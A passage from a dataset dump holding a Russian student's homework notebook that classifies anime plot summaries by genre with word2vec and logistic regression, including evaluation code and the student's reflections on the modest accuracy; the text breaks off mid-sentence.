"max_forks_repo_name": "ksible/nrpytutorial", "max_forks_repo_head_hexsha": "4ca6e9da22def2a9c9bcbcad75847fd1db159f4b", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": 30, "max_forks_repo_forks_event_min_datetime": "2019-01-09T09:57:51.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-08T18:45:08.000Z", "avg_line_length": 43.3333333333, "max_line_length": 108, "alphanum_fraction": 0.688034188, "include": true, "reason": "from mpmath", "num_tokens": 268, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.42250463481418826, "lm_q2_score": 0.12252322213041655, "lm_q1q2_score": 0.051766629222469315}}
{"text": "\n# coding: utf-8\n\n# # \u0410\u041e\u0422 \u0414\u0417 \u21162\n\n# ### \u041c\u0438\u0445\u0430\u0438\u043b \u0425\u043e\u0432\u0440\u0438\u0447\u0435\u0432, \u0411\u041f\u041c131\n# #### \u0412\u0430\u0440\u0438\u0430\u043d\u0442 E2\n\n# \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u043e \u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0442\u0435\u043a\u0441\u0442\u0430 *\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f* \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e **word2vec**.\n# \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u044b\u043b\u0438 \u0432\u0437\u044f\u0442\u044b \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u0441 \u0441\u0430\u0439\u0442\u0430 http://www.world-art.ru/. \u0421\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u0441\u043a\u0440\u044d\u043f\u0438\u043d\u0433\u0430 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 -- \u0432 \u0444\u0430\u0439\u043b\u0435 parser.py\n# \u0414\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u0440\u0443\u0441\u0441\u043a\u043e\u043c \u044f\u0437\u044b\u043a\u0435 (\u0432 \u043d\u0443\u0436\u043d\u043e\u043c \u043e\u0431\u044a\u0451\u043c\u0435) \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c. \u0422\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u0430\u0439\u0442 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u043d\u0435\u043c\u043d\u043e\u0433\u0438\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043e\u043e\u0431\u0449\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 \u0441\u043a\u0440\u044d\u043f\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u043d\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043a\u0440\u0430\u0439\u043d\u0435 \u043e\u0441\u043b\u043e\u0436\u043d\u0451\u043d -- \u043a\u0430\u0436\u0434\u044b\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0441\u0430\u0439\u0442 \u0431\u0430\u043d\u0438\u0442 \u043f\u043e IP \u043d\u0430 \u043f\u043e\u043b\u0447\u0430\u0441\u0430. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u044d\u0442\u043e \u0443\u0447\u0435\u0441\u0442\u044c \u0438 \u0441\u0440\u0430\u0437\u0443 \u0434\u0430\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f.\n# \n# \u0412 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u0441 \u0441\u0435\u043c\u0438\u043d\u0430\u0440\u0430 \u042f\u043d\u0434\u0435\u043a\u0441\u0430.\n# https://events.yandex.ru/lib/talks/4137/\n\n# In[415]:\n\nimport csv\nimport pymorphy2\nimport nltk\nfrom nltk import word_tokenize\nfrom gensim.models import Word2Vec\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score, confusion_matrix\nfrom itertools import islice\nfrom sklearn import linear_model\nimport gensim\nfrom sklearn.neighbors import KNeighborsClassifier\nimport re\n\nget_ipython().magic('matplotlib inline')\n\n\n# In[393]:\n\n\"\"\"\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u043b\u044f \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u0432\u043e\u0437\u043c\u0443\u0449\u0435\u043d\u0438\u0439\"\"\"\ndef plot_confusion_matrix(cm, title='Confusion matrix', cmap=plt.cm.Blues):\n    plt.imshow(cm, interpolation='nearest', cmap=cmap) # \u0438\u043d\u0442\u0435\u0440\u043f\u043e\u043b\u044f\u0446\u0438\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043c NN, \u043a\u0430\u043a \u0432 \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u0435 \u0412\u043e\u0440\u043e\u043d\u043e\u0433\u043e\n    plt.title(title)\n    plt.colorbar()\n    tick_marks = np.arange(len(genres))\n    target_names = genres\n    plt.xticks(tick_marks, target_names, rotation=90)\n    plt.yticks(tick_marks, target_names)\n    plt.tight_layout()\n    plt.ylabel('True genre')\n    plt.xlabel('Predicted genre')\n\n\n# In[395]:\n\n\"\"\"\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0430\u0441\u0447\u0451\u0442\u0430 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0439 \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u0432\u043e\u0437\u043c\u0443\u0449\u0435\u043d\u0438\u044f\"\"\"\ndef evaluate_prediction(predictions, target, title='Confusion matrix'):\n    print('accuracy %s' % accuracy_score(target, predictions))\n    cm = confusion_matrix(target, predictions)\n    print('confusion matrix\\n %s' % cm)\n    print('(row=expected, col=predicted)')\n    \n    cm_normalized = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n    plot_confusion_matrix(cm_normalized, title + ' Normalized')\n\n\n# In[443]:\n\n\"\"\"\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0440\u0430\u0441\u0447\u0451\u0442\u0430 \u0443\u0441\u0440\u0435\u0434\u043d\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.\n\u0412 word2vec \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u0441\u043b\u043e\u0432\u0443 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0435\u0433\u043e \u0432\u0435\u043a\u0442\u043e\u0440\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\u041d\u0430\u043c \u0436\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.\n\"\"\"\ndef word_averaging(wv, words):\n    all_words = set()\n    mean = []\n    \n    for word in words:\n        if isinstance(word, np.ndarray):\n            mean.append(word)\n        elif word in wv.vocab:\n            mean.append(wv.syn0norm[wv.vocab[word].index])\n            all_words.add(wv.vocab[word].index)\n\n    if not mean:\n        return np.zeros(wv.layer_size,)\n\n    mean = gensim.matutils.unitvec(np.array(mean).mean(axis=0)).astype(np.float32) # \u043d\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u043a\u0430\n    return mean\n\n\n# In[445]:\n\n\"\"\"\n\u0420\u0430\u0441\u0447\u0451\u0442 \u0443\u0441\u0440\u0435\u0434\u043d\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0432 \u0434\u0430\u0442\u0430\u0441\u0435\u0442\u0435.\n\"\"\"\ndef  word_averaging_list(wv, text_list):\n    return np.vstack([word_averaging(wv, review) for review in text_list])\n\n\n# In[444]:\n\n\"\"\"\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0442\u043e\u043a\u0435\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\nNLTK \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0451\u0442 \u043a\u0430\u0432\u044b\u0447\u043a\u0438-\u0451\u043b\u043e\u0447\u043a\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u0447\u0438\u0449\u0430\u0435\u043c \u0438\u0445 \u043e\u0442 \u0442\u043e\u043a\u0435\u043d\u043e\u0432.\n\"\"\"\ndef my_tokenizer(text):\n    tokens = []\n    for sent in nltk.sent_tokenize(text):\n        for word in nltk.word_tokenize(sent):\n            if '\u00ab' or '\u00bb' in word:\n                word = re.sub('[\\\u00ab\\\u00bb]', '', word)\n            if len(word) < 2:\n                continue\n            tokens.append(word)\n    return tokens\n\n\n# In[390]:\n\n# \u041a\u0430\u043a \u0438 \u0432\u043e \u0432\u0441\u0435\u0445 \u043c\u043e\u0438\u0445 \u0414\u0417, \u0431\u0443\u0434\u0435\u043c \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u043a \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0432\u044f\u0437\u043a\u0438 NLTK+pymorphy2\nfrom nltk.corpus import stopwords\nsw = stopwords.words('russian')\nbadPOS = {'NPRO','PREP', 'CONJ', 'PRCL', 'INTJ','PNCT', 'NUMB', 'ROMN', 'UNKN', 'Apro'}\nmorph = pymorphy2.MorphAnalyzer()\n\n\n# In[391]:\n\npd.set_option('display.max_colwidth', 80) # \u0434\u043b\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\n\n\n# \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u043c\u0441\u044f \u0441 \u0434\u0430\u043d\u043d\u044b\u043c\u0438. \u042d\u0442\u043e \u0441\u044e\u0436\u0435\u0442\u044b \u0430\u043d\u0438\u043c\u0435 \u0441 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c \u0436\u0430\u043d\u0440\u043e\u043c. \u0414\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u0432\u044f\u0437\u043a\u0443 (pandas, numpy, matplotlib, scikit-learn).\n\n# In[374]:\n\npath = 'data/anime_data.csv'\ndf = pd.read_table(path)\ndf = df.dropna()\ndf.head()\n\n\n# In[429]:\n\ndf.shape\n\n\n# In[433]:\n\nprint(\"\u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u043b\u043e\u0432 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435:\", df['plot'].apply(lambda x: len(x.split(' '))).sum())\n\n\n# \u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, \u043a\u043e\u0440\u043f\u0443\u0441 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439.\n\n# In[375]:\n\ngenres = df['genre'].unique()\nprint('\u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0436\u0430\u043d\u0440\u043e\u0432:', len(genres))\nprint(genres)\n\n\n# In[392]:\n\ndf['plot'].apply(lambda x: len(x.split(' '))).sum()\ndf.genre.value_counts().plot(kind=\"bar\", width=0.8, rot=90, title='\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0436\u0430\u043d\u0440\u043e\u0432 \u0432 \u0434\u0430\u0442\u0430\u0441\u0435\u0442\u0435', color='g')\n# \u0443\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0434\u043e\u043b\u044f \u0436\u0430\u043d\u0440\u0430 \"\u043f\u0440\u0438\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f\" (baseline)\ndf.genre.value_counts()['\u043f\u0440\u0438\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f']/df.genre.value_counts().sum()\n\n\n# \u0420\u0430\u0437\u0434\u0435\u043b\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u043e\u0431\u0443\u0447\u0430\u044e\u0449\u0443\u044e \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0432\u044b\u0431\u043e\u0440\u043a\u0438 \u0432 \u0441\u043e\u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 90%-10%.\n\n# In[377]:\n\ntrain_data, test_data = train_test_split(df, test_size=0.1, random_state=330)\nlen(test_data)\n\n\n# In[378]:\n\ntest_data.genre.value_counts().plot(kind=\"bar\",width=0.8,rot=90, title='\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0436\u0430\u043d\u0440\u043e\u0432 \u0432 \u0442\u0435\u0441\u0442-\u0441\u0435\u0442\u0435', color='g')\ntest_data.genre.value_counts()['\u043f\u0440\u0438\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f']/test_data.genre.value_counts().sum()\n\n\n# \u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, \u0434\u043e\u043b\u044f \u0436\u0430\u043d\u0440\u0430 \"\u043f\u0440\u0438\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f\" \u0432 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0432\u044b\u0431\u043e\u0440\u043a\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 19%.\n\n# \u041f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0451\u043c \u0442\u043e\u043a\u0435\u043d\u0438\u0437\u0430\u0446\u0438\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 my_tokenizer.\n\n# In[385]:\n\ntest_tokenized = test_data.apply(lambda x: my_tokenizer(x['plot']), axis=1).values\ntrain_tokenized = train_data.apply(lambda x: my_tokenizer(x['plot']), axis=1).values\n\n\n# \u041f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0451\u043c \u043b\u0435\u043c\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044e. \u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0414\u0417.\n\n# In[386]:\n\ntransform = lambda x: morph.parse(x)[0]\ncondition = lambda x: not [item for item in badPOS if item in str(transform(x).tag)] and transform(x).word not in sw\n\ntest_lemmatized = [[transform(token).normal_form for token in doc if condition(token)] for doc in test_tokenized]\ntrain_lemmatized = [[transform(token).normal_form for token in doc if condition(token)] for doc in train_tokenized]\n\n\n# \u0422\u0435\u043f\u0435\u0440\u044c \u0431\u0443\u0434\u0435\u043c \u043e\u0431\u0443\u0447\u0430\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043c \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432\u044b\u0431\u043e\u0440\u043a\u0438.\n# \u0414\u043b\u044f \u0438\u043c\u043f\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 word2vec \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c gensim.\n\n# In[527]:\n\nsentences = test_lemmatized+train_lemmatized\nmodel = Word2Vec(sentences, size=150)\nmodel.init_sims(replace=True)\n\n\n# \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c.\n\n# In[528]:\n\nmodel.most_similar(\"\u043b\u044e\u0431\u043e\u0432\u044c\")\n\n\n# \u041f\u0440\u0438\u0432\u0435\u0434\u0451\u043c \u043a\u0430\u0436\u0434\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0430\u0445 \u043a \u0432\u0435\u043a\u0442\u043e\u0440\u043d\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0439 word_averaging, word_averaging_list.\n\n# In[529]:\n\ntest_WA = word_averaging_list(model, test_tokenized)\ntrain_WA = word_averaging_list(model, train_tokenized)\n\n\n# \u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u0435\u0439 \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0430\u043d\u0438\u044f. \u041b\u043e\u0433\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u044f \u0432\u044b\u0431\u0440\u0430\u043d\u0430, \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0430\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043b\u0443\u0447\u0448\u0438\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u0441 \u0442\u0435\u043c \u0436\u0435 \u043c\u0435\u0442\u043e\u0434\u043e\u043c \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0433\u043e \u0441\u043e\u0441\u0435\u0434\u0430. \n\n# In[536]:\n\nlogreg = linear_model.LogisticRegression(n_jobs=1, C=1e6)\nlogreg = logreg.fit(train_WA, train_data['genre'])\npredicted = logreg.predict(test_WA)\n\n\n# \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0443 \u043d\u0430\u0441 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c. \u0412 \u043c\u0430\u0442\u0440\u0438\u0446\u0435 \u0432\u043e\u0437\u043c\u0443\u0449\u0435\u043d\u0438\u0439 \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u043c \u0432\u0438\u0434\u0435 \u043f\u043e\u0434\u0441\u0447\u0451\u0442 \u0438\u0434\u0451\u0442 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430\u043c, \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c -- \u043f\u043e \u0443\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0434\u043e\u043b\u0435. \u041a\u043e\u043d\u0446\u0435\u043d\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0447\u0438\u0441\u043b\u0430\u043c (\u0438\u043b\u0438 \u0441\u0438\u043d\u0438\u043c \u043a\u0432\u0430\u0434\u0440\u0430\u0442\u0438\u043a\u0430\u043c) \u043d\u0443\u0436\u043d\u043e \u043d\u0430 \u0434\u0438\u0430\u0433\u043e\u043d\u0430\u043b\u0438. \u0411\u043e\u043b\u044c\u0448\u0435\u0435 \u0447\u0438\u0441\u043b\u043e (\u0438\u043d\u0442\u0435\u043d\u0441\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0446\u0432\u0435\u0442\u0430) \u043d\u0430 \u0434\u0438\u0430\u0433\u043e\u043d\u0430\u043b\u0438 -- \u0445\u043e\u0440\u043e\u0448\u043e, \u0432\u043d\u0435 \u0434\u0438\u0430\u0433\u043e\u043d\u0430\u043b\u0438 -- \u043f\u043b\u043e\u0445\u043e.\n\n# In[537]:\n\nevaluate_prediction(predicted, test_data.genre)\n\n\n# \u041d\u0435 \u043e\u0447\u0435\u043d\u044c \u0437\u0434\u043e\u0440\u043e\u0432\u043e. 21% -- \u044d\u0442\u043e \u043b\u0443\u0447\u0448\u0435, \u0447\u0435\u043c 19%, \u043d\u043e \u043d\u0435\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e. (\u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u043b\u043e\u0445\u0430\u044f, \u0442\u0430\u043a \u0447\u0442\u043e \u043d\u0435\u0432\u044b\u0441\u043e\u043a\u0430\u044f \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c, \u043a\u0430\u043a \u043c\u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u043d\u0435 \u043f\u043e\u0432\u043e\u0434 \u0434\u043b\u044f \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044f \u043e\u0446\u0435\u043d\u043a\u0438). \u0427\u0442\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439? \n# \n# 1. \u0420\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0440\u043f\u0443\u0441\u0430. \u041e\u043d \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u0430 \u0434\u043e\u0441\u0442\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043d\u0435 \u0442\u0430\u043a\u043e\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435\u0439 (\u0434\u043b\u044f sentiment analysis \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0430\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0449\u0435, \u043d\u043e \u0430\u043d\u0430\u043b\u0438\u0437 \u0442\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0445\u043e\u0442\u044c \u0438 \u043f\u043e\u0434\u0437\u0430\u0434\u0430\u0447\u0430 \u0434\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438, -- \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0414\u0417). \n# \n# 2. \u0412 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u044b\u043b\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 (\"\u0444\u044d\u043d\u0442\u0435\u0437\u0438\", \"\u0441\u0451\u0434\u0437\u0435-\u0430\u0439\" \u0438 \u0434\u0440.), \u043d\u043e \u043e\u043d\u0438 \u0438\u043c\u0435\u043b\u0438 \u043e\u0442 1 \u0434\u043e 3 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0435\u0439, \u0447\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u043e \u0441\u0438\u043b\u044c\u043d\u044b\u0439 \u0434\u0438\u0441\u0431\u0430\u043b\u0430\u043d\u0441 \u0432 \u0434\u0430\u043d\u043d\u044b\u0445 (\u043c\u043d\u043e\u0433\u0438\u0435  \u0436\u0430\u043d\u0440\u044b \u0434\u0430\u0436\u0435 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0442\u0435\u0441\u0442\u043e\u0432\u0443\u044e \u0432\u044b\u0431\u043e\u0440\u043a\u0443), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0441\u044e\u0436\u0435\u0442\u044b \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u043a \u0438\u043c\u0435\u044e\u0449\u0438\u043c\u0441\u044f \u043f\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0435 (\"\u0444\u044d\u043d\u0442\u0435\u0437\u0438\" -> \"\u0444\u0430\u043d\u0442\u0430\u0441\u0442\u0438\u043a\u0430\", \"\u0441\u0451\u0434\u0437\u0435-\u0430\u0439\" -> \"\u0440\u043e\u043c\u0430\u043d\u0442\u0438\u043a\u0430\" \u0438 \u0442.\u0434). \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u044d\u0442\u043e\u0433\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0435 \u0441\u0442\u043e\u0438\u043b\u043e, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0435\u0441\u0431\u0430\u043b\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 -- \u044d\u0442\u043e \u0445\u0443\u0436\u0435.\n# \n# 3. \u0410\u043d\u0438\u043c\u0435 \u043f\u043e \u0441\u0443\u0442\u0438 \u0441\u0432\u043e\u0435\u0439 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u044d\u043c\u043e\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0438\u0434 \u0430\u043d\u0438\u043c\u0430\u0446\u0438\u0438, \u0432 \u043d\u0451\u043c \u0447\u0430\u0441\u0442\u043e \u043e\u0431\u044b\u0433\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u043b\u044e\u0434\u044c\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \"\u0440\u043e\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445\" \u0441\u044e\u0436\u0435\u0442\u043e\u0432 \u043c\u0430\u043b\u043e 